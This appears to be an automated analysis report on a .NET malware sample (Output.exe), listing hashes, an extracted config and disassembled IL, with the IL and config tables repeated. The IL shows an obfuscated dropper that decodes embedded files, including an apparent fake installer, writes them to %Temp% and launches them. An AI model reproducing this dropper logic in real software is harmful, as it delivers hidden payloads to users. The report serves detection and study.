Symbol Obfuscation Score
|
Hash | Hash Value |
|---|---|
| MD5 | 1e3c5aa594c8beaefb73e35b563379d7
|
| Sha1 | 5f8e51e3cbc4530d86c2ee6cf77ccaf77e7189a2
|
| Sha256 | 6aa08b6fdb70023bdd14805657a5d4e36b5733b8b4c372c95ce2ec17668a0f11
|
| Sha384 | c60576063879fba05d41cdd0279fed36e9478075cb9d098a5e86628804029f7d75be77e74309457962b242e3985b3e70
|
| Sha512 | 25691a9e24e4ed8c411ed6deb3b7fffbf2f8c95bbd683b02469c8501b03521f7723e9fbf95a920296a5bbd6185cb652b5b2cb015c9d27eace0c711a37d2fa82f
|
| SSDeep | 393216:YoSBaQl1q1Y0kUBNQ1B4BoC6fcRMenFe/s9ojyhRV5eICqDVkms9o83QcmcrS:PSH1UYwPScMwYJmhR/A4kmwtmh
|
| TLSH | 5C57345CA490A7A09BC2759313DFE4CC6F903E91409C897B3CF746EB43666B4E86B364
|
PeID
|
Config. Field0 | Value |
|---|---|
| ref_elem_0x0000000E | clp5.exe-=>True-=>False |
| ref_elem_0x00000016 | zx.exe-=>True-=>False |
| ref_elem_0x0000001E | Total_3.5754.10.5_INSTALL.exe-=>True-=>False |
| MSpdrX0hvOY65Qvik2oU5zTYNqiLUVDrdQ7AthVb52s3q2YsJUNBedJ4KDOIWeC | %Temp% |
| MaxMxcFIMoDChuF4iifDuB4ZJuc6TgjlCGTJqhjck1ThHJDVpaYa5qyC4vVItbn | -=> |
| 2LOP4NyFSdSZiZ4rJqsPNegppLisIZSXhFda9zdZzgaBTnZlkphx5KYBE3DLEd4 | Z0Vq5PA0MSqaKLEDo |
|
Name | Value |
|---|---|
| Info | PE Detect: PeReader OK (file layout) |
| Module Name | Output.exe |
| Full Name | Output.exe |
| EntryPoint | System.Void FFOUyASocQyLq3Q44ND3db23oTgB5PzHeCzObGm0V6CS1XCFSgYOMc2WFymuJ3F::buwSeW8mVbKS8Pu12b6zf3J8Y3YwUehF0DXwudeEUT7dY7jDLXNui9do2J5evuu() |
| Scope Name | Output.exe |
| Scope Type | ModuleDef |
| Kind | Windows |
| Runtime Version | v4.0.30319 |
| Tables Header Version | 512 |
| WinMD Version | <null> |
| Assembly Name | Output |
| Assembly Version | 1.0.0.0 |
| Assembly Culture | <null> |
| Has PublicKey | False |
| PublicKey Token | <null> |
| Target Framework | <null> |
| Total Strings | 26 |
| Main Method | System.Void FFOUyASocQyLq3Q44ND3db23oTgB5PzHeCzObGm0V6CS1XCFSgYOMc2WFymuJ3F::buwSeW8mVbKS8Pu12b6zf3J8Y3YwUehF0DXwudeEUT7dY7jDLXNui9do2J5evuu() |
| Main IL Instruction Count | 159 |
| Main IL | ldc.i4.1 <null> stloc.s V_5 call System.Boolean FFOUyASocQyLq3Q44ND3db23oTgB5PzHeCzObGm0V6CS1XCFSgYOMc2WFymuJ3F::HAYyZlPHU06gXHTEL6I5ACOvuxNjtjNVuP8zBKIPYcvT01gUo4PRbytl4WnIGAn() brtrue.s IL_0013: call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() ldc.i4.2 <null> stloc.s V_5 ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() ldc.i4.1 <null> stloc.3 <null> ldc.i4.5 <null> stloc.s V_5 ldsfld System.Collections.Generic.List`1<System.String> FFOUyASocQyLq3Q44ND3db23oTgB5PzHeCzObGm0V6CS1XCFSgYOMc2WFymuJ3F::gzjIq9TasCtnQyaeLFdwjvwDtyYvOZ09uCmDuIb6bnbGyS9FoJqGa9HzKWumfMw callvirt System.Collections.Generic.List`1/Enumerator<System.String> System.Collections.Generic.List`1<System.String>::GetEnumerator() stloc.2 <null> br IL_0130: ldloca.s V_2 ldloca.s V_2 call System.String System.Collections.Generic.List`1/Enumerator<System.String>::get_Current() stloc.0 <null> ldc.i4.6 <null> stloc.s V_5 ldsfld System.String FFOUyASocQyLq3Q44ND3db23oTgB5PzHeCzObGm0V6CS1XCFSgYOMc2WFymuJ3F::MSpdrX0hvOY65Qvik2oU5zTYNqiLUVDrdQ7AthVb52s3q2YsJUNBedJ4KDOIWeC call System.Object FFOUyASocQyLq3Q44ND3db23oTgB5PzHeCzObGm0V6CS1XCFSgYOMc2WFymuJ3F::dR0R8ZdGKUFdltTzhrCuhMUxE2LiBfqUQl6tuVqE9Q3flyGNyeiCXTx4iOGISsO(System.String) ldstr \ call System.Object Microsoft.VisualBasic.CompilerServices.Operators::ConcatenateObject(System.Object,System.Object) ldloc.0 <null> call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) ldsfld System.String FFOUyASocQyLq3Q44ND3db23oTgB5PzHeCzObGm0V6CS1XCFSgYOMc2WFymuJ3F::MaxMxcFIMoDChuF4iifDuB4ZJuc6TgjlCGTJqhjck1ThHJDVpaYa5qyC4vVItbn ldc.i4.m1 <null> ldc.i4.0 <null> call System.String[] Microsoft.VisualBasic.Strings::Split(System.String,System.String,System.Int32,Microsoft.VisualBasic.CompareMethod) ldc.i4.0 <null> ldelem.ref <null> call System.Object Microsoft.VisualBasic.CompilerServices.Operators::ConcatenateObject(System.Object,System.Object) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stloc.1 <null> ldc.i4.7 <null> stloc.s V_5 ldloc.0 <null> call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) ldsfld System.String FFOUyASocQyLq3Q44ND3db23oTgB5PzHeCzObGm0V6CS1XCFSgYOMc2WFymuJ3F::MaxMxcFIMoDChuF4iifDuB4ZJuc6TgjlCGTJqhjck1ThHJDVpaYa5qyC4vVItbn ldc.i4.m1 <null> ldc.i4.0 <null> call System.String[] Microsoft.VisualBasic.Strings::Split(System.String,System.String,System.Int32,Microsoft.VisualBasic.CompareMethod) ldc.i4.2 <null> ldelem.ref <null> ldstr True ldc.i4.0 <null> call System.Int32 Microsoft.VisualBasic.CompilerServices.Operators::CompareString(System.String,System.String,System.Boolean) ldc.i4.0 <null> bne.un.s IL_00CB: ldc.i4.s 13 ldc.i4.8 <null> stloc.s V_5 ldloc.1 <null> call System.Boolean System.IO.File::Exists(System.String) brtrue.s IL_00C9: br.s IL_0123 ldc.i4.s 9 stloc.s V_5 ldloc.1 <null> ldloc.0 <null> call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) ldsfld System.String FFOUyASocQyLq3Q44ND3db23oTgB5PzHeCzObGm0V6CS1XCFSgYOMc2WFymuJ3F::MaxMxcFIMoDChuF4iifDuB4ZJuc6TgjlCGTJqhjck1ThHJDVpaYa5qyC4vVItbn ldc.i4.m1 <null> ldc.i4.0 <null> call System.String[] Microsoft.VisualBasic.Strings::Split(System.String,System.String,System.Int32,Microsoft.VisualBasic.CompareMethod) ldc.i4.0 <null> ldelem.ref <null> call System.Byte[] FFOUyASocQyLq3Q44ND3db23oTgB5PzHeCzObGm0V6CS1XCFSgYOMc2WFymuJ3F::O4cof1BH407b3uwYhOk8tkXzGaugRJYoHXweU6GGbbukAfc4OtBWUfWplV7i7TX(System.String) call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[]) ldc.i4.s 10 stloc.s V_5 ldloc.1 <null> call System.Diagnostics.Process System.Diagnostics.Process::Start(System.String) pop <null> br.s IL_0123: ldc.i4.s 19 ldc.i4.s 13 stloc.s V_5 ldc.i4.s 14 stloc.s V_5 ldloc.1 <null> ldloc.0 <null> call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) ldsfld System.String FFOUyASocQyLq3Q44ND3db23oTgB5PzHeCzObGm0V6CS1XCFSgYOMc2WFymuJ3F::MaxMxcFIMoDChuF4iifDuB4ZJuc6TgjlCGTJqhjck1ThHJDVpaYa5qyC4vVItbn ldc.i4.m1 <null> ldc.i4.0 <null> call System.String[] Microsoft.VisualBasic.Strings::Split(System.String,System.String,System.Int32,Microsoft.VisualBasic.CompareMethod) ldc.i4.0 <null> ldelem.ref <null> call System.Byte[] FFOUyASocQyLq3Q44ND3db23oTgB5PzHeCzObGm0V6CS1XCFSgYOMc2WFymuJ3F::O4cof1BH407b3uwYhOk8tkXzGaugRJYoHXweU6GGbbukAfc4OtBWUfWplV7i7TX(System.String) call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[]) ldc.i4.s 15 stloc.s V_5 ldloc.0 <null> call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) ldsfld System.String FFOUyASocQyLq3Q44ND3db23oTgB5PzHeCzObGm0V6CS1XCFSgYOMc2WFymuJ3F::MaxMxcFIMoDChuF4iifDuB4ZJuc6TgjlCGTJqhjck1ThHJDVpaYa5qyC4vVItbn ldc.i4.m1 <null> ldc.i4.0 <null> call System.String[] Microsoft.VisualBasic.Strings::Split(System.String,System.String,System.Int32,Microsoft.VisualBasic.CompareMethod) ldc.i4.1 <null> ldelem.ref <null> ldstr True ldc.i4.0 <null> call System.Int32 Microsoft.VisualBasic.CompilerServices.Operators::CompareString(System.String,System.String,System.Boolean) ldc.i4.0 <null> bne.un.s IL_0123: ldc.i4.s 19 ldc.i4.s 16 stloc.s V_5 ldloc.1 <null> call System.Diagnostics.Process System.Diagnostics.Process::Start(System.String) pop <null> ldc.i4.s 19 stloc.s V_5 call System.Void System.GC::Collect() ldc.i4.s 20 stloc.s V_5 ldloca.s V_2 call System.Boolean System.Collections.Generic.List`1/Enumerator<System.String>::MoveNext() brtrue IL_002D: ldloca.s V_2 ldloca.s V_2 constrained. System.Collections.Generic.List`1/Enumerator<System.String> callvirt System.Void System.IDisposable::Dispose() leave IL_01F8: ldloc.s V_4 ldloc.s V_4 br.s IL_0156: ldc.i4.0 ldloc.s V_4 ldc.i4.1 <null> add <null> ldc.i4.0 <null> stloc.s V_4 switch dnlib.DotNet.Emit.Instruction[] leave.s IL_01ED: ldc.i4 -2146828237 ldloc.s V_5 stloc.s V_4 ldloc.3 <null> switch dnlib.DotNet.Emit.Instruction[] leave.s IL_01ED: ldc.i4 -2146828237 isinst System.Exception ldnull <null> cgt.un <null> ldloc.3 <null> ldc.i4.0 <null> cgt.un <null> and <null> ldloc.s V_4 ldc.i4.0 <null> ceq <null> and <null> endfilter <null> castclass System.Exception call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) leave.s IL_01B8: ldloc.s V_5 ldc.i4 -2146828237 call System.Exception Microsoft.VisualBasic.CompilerServices.ProjectData::CreateProjectError(System.Int32) throw <null> ldloc.s V_4 brfalse.s IL_0201: ret call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() ret <null> |
| Module Name | Output.exe |
| Full Name | Output.exe |
| EntryPoint | System.Void FFOUyASocQyLq3Q44ND3db23oTgB5PzHeCzObGm0V6CS1XCFSgYOMc2WFymuJ3F::buwSeW8mVbKS8Pu12b6zf3J8Y3YwUehF0DXwudeEUT7dY7jDLXNui9do2J5evuu() |
| Scope Name | Output.exe |
| Scope Type | ModuleDef |
| Kind | Windows |
| Runtime Version | v4.0.30319 |
| Tables Header Version | 512 |
| WinMD Version | <null> |
| Assembly Name | Output |
| Assembly Version | 1.0.0.0 |
| Assembly Culture | <null> |
| Has PublicKey | False |
| PublicKey Token | <null> |
| Target Framework | <null> |
| Total Strings | 26 |
| Main Method | System.Void FFOUyASocQyLq3Q44ND3db23oTgB5PzHeCzObGm0V6CS1XCFSgYOMc2WFymuJ3F::buwSeW8mVbKS8Pu12b6zf3J8Y3YwUehF0DXwudeEUT7dY7jDLXNui9do2J5evuu() |
| Main IL Instruction Count | 159 |
| Main IL | ldc.i4.1 <null> stloc.s V_5 call System.Boolean FFOUyASocQyLq3Q44ND3db23oTgB5PzHeCzObGm0V6CS1XCFSgYOMc2WFymuJ3F::HAYyZlPHU06gXHTEL6I5ACOvuxNjtjNVuP8zBKIPYcvT01gUo4PRbytl4WnIGAn() brtrue.s IL_0013: call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() ldc.i4.2 <null> stloc.s V_5 ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() ldc.i4.1 <null> stloc.3 <null> ldc.i4.5 <null> stloc.s V_5 ldsfld System.Collections.Generic.List`1<System.String> FFOUyASocQyLq3Q44ND3db23oTgB5PzHeCzObGm0V6CS1XCFSgYOMc2WFymuJ3F::gzjIq9TasCtnQyaeLFdwjvwDtyYvOZ09uCmDuIb6bnbGyS9FoJqGa9HzKWumfMw callvirt System.Collections.Generic.List`1/Enumerator<System.String> System.Collections.Generic.List`1<System.String>::GetEnumerator() stloc.2 <null> br IL_0130: ldloca.s V_2 ldloca.s V_2 call System.String System.Collections.Generic.List`1/Enumerator<System.String>::get_Current() stloc.0 <null> ldc.i4.6 <null> stloc.s V_5 ldsfld System.String FFOUyASocQyLq3Q44ND3db23oTgB5PzHeCzObGm0V6CS1XCFSgYOMc2WFymuJ3F::MSpdrX0hvOY65Qvik2oU5zTYNqiLUVDrdQ7AthVb52s3q2YsJUNBedJ4KDOIWeC call System.Object FFOUyASocQyLq3Q44ND3db23oTgB5PzHeCzObGm0V6CS1XCFSgYOMc2WFymuJ3F::dR0R8ZdGKUFdltTzhrCuhMUxE2LiBfqUQl6tuVqE9Q3flyGNyeiCXTx4iOGISsO(System.String) ldstr \ call System.Object Microsoft.VisualBasic.CompilerServices.Operators::ConcatenateObject(System.Object,System.Object) ldloc.0 <null> call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) ldsfld System.String FFOUyASocQyLq3Q44ND3db23oTgB5PzHeCzObGm0V6CS1XCFSgYOMc2WFymuJ3F::MaxMxcFIMoDChuF4iifDuB4ZJuc6TgjlCGTJqhjck1ThHJDVpaYa5qyC4vVItbn ldc.i4.m1 <null> ldc.i4.0 <null> call System.String[] Microsoft.VisualBasic.Strings::Split(System.String,System.String,System.Int32,Microsoft.VisualBasic.CompareMethod) ldc.i4.0 <null> ldelem.ref <null> call System.Object Microsoft.VisualBasic.CompilerServices.Operators::ConcatenateObject(System.Object,System.Object) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stloc.1 <null> ldc.i4.7 <null> stloc.s V_5 ldloc.0 <null> call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) ldsfld System.String FFOUyASocQyLq3Q44ND3db23oTgB5PzHeCzObGm0V6CS1XCFSgYOMc2WFymuJ3F::MaxMxcFIMoDChuF4iifDuB4ZJuc6TgjlCGTJqhjck1ThHJDVpaYa5qyC4vVItbn ldc.i4.m1 <null> ldc.i4.0 <null> call System.String[] Microsoft.VisualBasic.Strings::Split(System.String,System.String,System.Int32,Microsoft.VisualBasic.CompareMethod) ldc.i4.2 <null> ldelem.ref <null> ldstr True ldc.i4.0 <null> call System.Int32 Microsoft.VisualBasic.CompilerServices.Operators::CompareString(System.String,System.String,System.Boolean) ldc.i4.0 <null> bne.un.s IL_00CB: ldc.i4.s 13 ldc.i4.8 <null> stloc.s V_5 ldloc.1 <null> call System.Boolean System.IO.File::Exists(System.String) brtrue.s IL_00C9: br.s IL_0123 ldc.i4.s 9 stloc.s V_5 ldloc.1 <null> ldloc.0 <null> call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) ldsfld System.String FFOUyASocQyLq3Q44ND3db23oTgB5PzHeCzObGm0V6CS1XCFSgYOMc2WFymuJ3F::MaxMxcFIMoDChuF4iifDuB4ZJuc6TgjlCGTJqhjck1ThHJDVpaYa5qyC4vVItbn ldc.i4.m1 <null> ldc.i4.0 <null> call System.String[] Microsoft.VisualBasic.Strings::Split(System.String,System.String,System.Int32,Microsoft.VisualBasic.CompareMethod) ldc.i4.0 <null> ldelem.ref <null> call System.Byte[] FFOUyASocQyLq3Q44ND3db23oTgB5PzHeCzObGm0V6CS1XCFSgYOMc2WFymuJ3F::O4cof1BH407b3uwYhOk8tkXzGaugRJYoHXweU6GGbbukAfc4OtBWUfWplV7i7TX(System.String) call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[]) ldc.i4.s 10 stloc.s V_5 ldloc.1 <null> call System.Diagnostics.Process System.Diagnostics.Process::Start(System.String) pop <null> br.s IL_0123: ldc.i4.s 19 ldc.i4.s 13 stloc.s V_5 ldc.i4.s 14 stloc.s V_5 ldloc.1 <null> ldloc.0 <null> call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) ldsfld System.String FFOUyASocQyLq3Q44ND3db23oTgB5PzHeCzObGm0V6CS1XCFSgYOMc2WFymuJ3F::MaxMxcFIMoDChuF4iifDuB4ZJuc6TgjlCGTJqhjck1ThHJDVpaYa5qyC4vVItbn ldc.i4.m1 <null> ldc.i4.0 <null> call System.String[] Microsoft.VisualBasic.Strings::Split(System.String,System.String,System.Int32,Microsoft.VisualBasic.CompareMethod) ldc.i4.0 <null> ldelem.ref <null> call System.Byte[] FFOUyASocQyLq3Q44ND3db23oTgB5PzHeCzObGm0V6CS1XCFSgYOMc2WFymuJ3F::O4cof1BH407b3uwYhOk8tkXzGaugRJYoHXweU6GGbbukAfc4OtBWUfWplV7i7TX(System.String) call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[]) ldc.i4.s 15 stloc.s V_5 ldloc.0 <null> call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) ldsfld System.String FFOUyASocQyLq3Q44ND3db23oTgB5PzHeCzObGm0V6CS1XCFSgYOMc2WFymuJ3F::MaxMxcFIMoDChuF4iifDuB4ZJuc6TgjlCGTJqhjck1ThHJDVpaYa5qyC4vVItbn ldc.i4.m1 <null> ldc.i4.0 <null> call System.String[] Microsoft.VisualBasic.Strings::Split(System.String,System.String,System.Int32,Microsoft.VisualBasic.CompareMethod) ldc.i4.1 <null> ldelem.ref <null> ldstr True ldc.i4.0 <null> call System.Int32 Microsoft.VisualBasic.CompilerServices.Operators::CompareString(System.String,System.String,System.Boolean) ldc.i4.0 <null> bne.un.s IL_0123: ldc.i4.s 19 ldc.i4.s 16 stloc.s V_5 ldloc.1 <null> call System.Diagnostics.Process System.Diagnostics.Process::Start(System.String) pop <null> ldc.i4.s 19 stloc.s V_5 call System.Void System.GC::Collect() ldc.i4.s 20 stloc.s V_5 ldloca.s V_2 call System.Boolean System.Collections.Generic.List`1/Enumerator<System.String>::MoveNext() brtrue IL_002D: ldloca.s V_2 ldloca.s V_2 constrained. System.Collections.Generic.List`1/Enumerator<System.String> callvirt System.Void System.IDisposable::Dispose() leave IL_01F8: ldloc.s V_4 ldloc.s V_4 br.s IL_0156: ldc.i4.0 ldloc.s V_4 ldc.i4.1 <null> add <null> ldc.i4.0 <null> stloc.s V_4 switch dnlib.DotNet.Emit.Instruction[] leave.s IL_01ED: ldc.i4 -2146828237 ldloc.s V_5 stloc.s V_4 ldloc.3 <null> switch dnlib.DotNet.Emit.Instruction[] leave.s IL_01ED: ldc.i4 -2146828237 isinst System.Exception ldnull <null> cgt.un <null> ldloc.3 <null> ldc.i4.0 <null> cgt.un <null> and <null> ldloc.s V_4 ldc.i4.0 <null> ceq <null> and <null> endfilter <null> castclass System.Exception call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) leave.s IL_01B8: ldloc.s V_5 ldc.i4 -2146828237 call System.Exception Microsoft.VisualBasic.CompilerServices.ProjectData::CreateProjectError(System.Int32) throw <null> ldloc.s V_4 brfalse.s IL_0201: ret call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() ret <null> |
|
Config. Field0 | Value |
|---|---|
| ref_elem_0x0000000E | clp5.exe-=>True-=>False |
| ref_elem_0x00000016 | zx.exe-=>True-=>False |
| ref_elem_0x0000001E | Total_3.5754.10.5_INSTALL.exe-=>True-=>False |
| MSpdrX0hvOY65Qvik2oU5zTYNqiLUVDrdQ7AthVb52s3q2YsJUNBedJ4KDOIWeC | %Temp% |
| MaxMxcFIMoDChuF4iifDuB4ZJuc6TgjlCGTJqhjck1ThHJDVpaYa5qyC4vVItbn | -=> |
| 2LOP4NyFSdSZiZ4rJqsPNegppLisIZSXhFda9zdZzgaBTnZlkphx5KYBE3DLEd4 | Z0Vq5PA0MSqaKLEDo |